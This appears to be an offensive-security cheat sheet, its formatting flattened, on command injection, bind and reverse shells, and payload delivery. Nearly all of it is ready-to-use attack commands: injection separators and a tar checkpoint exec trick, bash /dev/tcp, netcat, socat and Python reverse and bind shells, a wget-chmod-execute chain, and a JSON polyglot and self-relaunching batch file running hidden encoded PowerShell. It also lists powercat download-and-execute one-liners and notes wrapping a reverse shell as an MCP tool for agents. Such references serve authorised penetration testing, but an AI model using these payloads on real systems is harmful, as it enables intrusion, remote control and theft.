Common ways of injecting commands
;id, | id, && idasdf %0A idArgument injection
tar
tar has --checkpoint=1 --checkpoint-action=exec={command} on GTFOBins--checkpoint=1 --checkpoint-action=exec=perl$IFS-e$IFS'system(join($x,map(chr,({decimal_characters_to_run}))))';Reviewing Source Code
system, exec(ve), CreateProcess, popen, fork... subprocess.run/popen/call/etc., os.system/popen...runtime.GetRuntime.exec, ProcessBuilder.start...system, exec, shell_exec, popen, proc_open...os/exec.Command, Cmd.Run/Output...std::process::Command::new/spawn/outputnc -lnvp {port}
nc -l {port}, though the firewall might have to be disabledResources
Linux Bind Shells
socat TCP-LISTEN:{port},reuseaddr,fork EXEC:/bin/bash,pty,stderr,setsid,sigint,sane
socat FILE:`tty`,raw,echo=0 TCP:target.com:{port}python3 -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",{port}));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'nc -nlvp {port} -e /bin/bashLinux Reverse shells
bash -i >& /dev/tcp/{IP}/{port} 0>&1busybox nc {IP} {port} -e sh or busybox nc {IP} {port} -e /bin/shpython -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{IP}",{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'wget {IP}:{port}/script.sh -> chmod 777 ./script.sh -> ./script.shMaking our revshell an MCP
make build, then add to PATH for easy usageagent2shell catch -p 4444, then send commands with agent2shell run '{command}'Upgrading Linux Shell to a Better Shell
script /dev/null -c bash
stty raw -echo; fg (to continue the process)reset then set the terminal type to screenpython -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
echo 'os.system('/bin/bash')'
/bin/sh -i
/bin/bash -i
perl -e 'exec "/bin/sh";'
Polyglot Payloads
.bat files are excellent for this, as they’ll basically parse through garbage to find executable things to run
{"x\"& powershell -w hidden -exec bypass -enc {base64} & exit &\"x":"1"} is valid JSONWindows Reverse Shells
/usr/share/windows-resources/binaries/nc.exe)
C:\Windows\Temp\nc.exe -e powershell.exe {IP} {port} for a Powershell reverse shellIEX(New-Object System.Net.WebClient).DownloadString('http://{IP}:{port}/powercat.ps1');powercat -c {IP} -p {port} -e powershellif not defined _Z (set _Z=1&start /min cmd /c %~f0&exit) else (powershell -w hidden -exec bypass -enc BASE64HERE &exit)
_Z=1 on the first run, relaunch the same script minimized, and exit the visible window since _Z is now definedWindows Revshell Generator